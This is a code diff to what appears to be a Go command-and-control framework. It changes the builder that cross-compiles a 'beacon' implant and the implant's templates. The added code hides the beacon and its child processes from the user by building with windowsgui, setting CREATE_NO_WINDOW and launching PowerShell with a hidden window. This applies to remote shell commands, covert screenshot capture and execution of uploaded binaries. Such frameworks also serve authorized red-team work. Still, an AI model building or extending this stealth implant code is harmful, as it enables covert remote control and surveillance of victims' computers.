Add files via upload

internal/c2/payload_builder.go

@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 	}
 	f.Close()
 
+	// 平台相关辅助源文件（如无窗口子进程）
+	for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
+		helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
+		helperData, readErr := os.ReadFile(helperSrc)
+		if readErr != nil {
+			return nil, fmt.Errorf("read helper %s: %w", name, readErr)
+		}
+		if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
+			return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
+		}
+	}
+
 	// 交叉编译
 	binName := strings.TrimSpace(in.OutputName)
 	if binName == "" {
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 		return nil, fmt.Errorf("mkdir output: %w", err)
 	}
 
-	absSrcPath, err := filepath.Abs(srcPath)
-	if err != nil {
-		return nil, fmt.Errorf("abs source path: %w", err)
-	}
 	absBinPath, err := filepath.Abs(binPath)
 	if err != nil {
 		return nil, fmt.Errorf("abs output path: %w", err)
 	}
-	cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
+	ldflags := "-s -w -buildid="
+	if goos == "windows" {
+		// 无控制台窗口运行 beacon 本体
+		ldflags += " -H windowsgui"
+	}
+	cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
 	cmd.Env = append(os.Environ(),
 		"GOOS="+goos,
 		"GOARCH="+goarch,

internal/c2/payload_templates/beacon.go.tmpl

@@ -729,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
 		timeoutSec = 60
 	}
 	cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()
@@ -959,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
 		b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
 	case "windows":
 		ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
-		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
+		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
 	default:
 		return "", "", "", "screenshot not supported on " + runtime.GOOS
 	}
@@ -1200,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
 		cmdArgs = strings.Fields(args)
 	}
 	cmd := exec.Command(tmpFile, cmdArgs...)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()

internal/c2/payload_templates/proc_hide_unix.go.tmpl

@@ -0,0 +1,9 @@
+//go:build !windows
+
+package main
+
+import "os/exec"
+
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	_ = cmd
+}

internal/c2/payload_templates/proc_hide_windows.go.tmpl

@@ -0,0 +1,19 @@
+//go:build windows
+
+package main
+
+import (
+	"os/exec"
+	"syscall"
+)
+
+// prepareHiddenCmd 避免子进程弹出控制台窗口（cmd / powershell / 临时 exe 等）。
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	if cmd == nil {
+		return
+	}
+	cmd.SysProcAttr = &syscall.SysProcAttr{
+		HideWindow:    true,
+		CreationFlags: syscall.CREATE_NO_WINDOW,
+	}
+}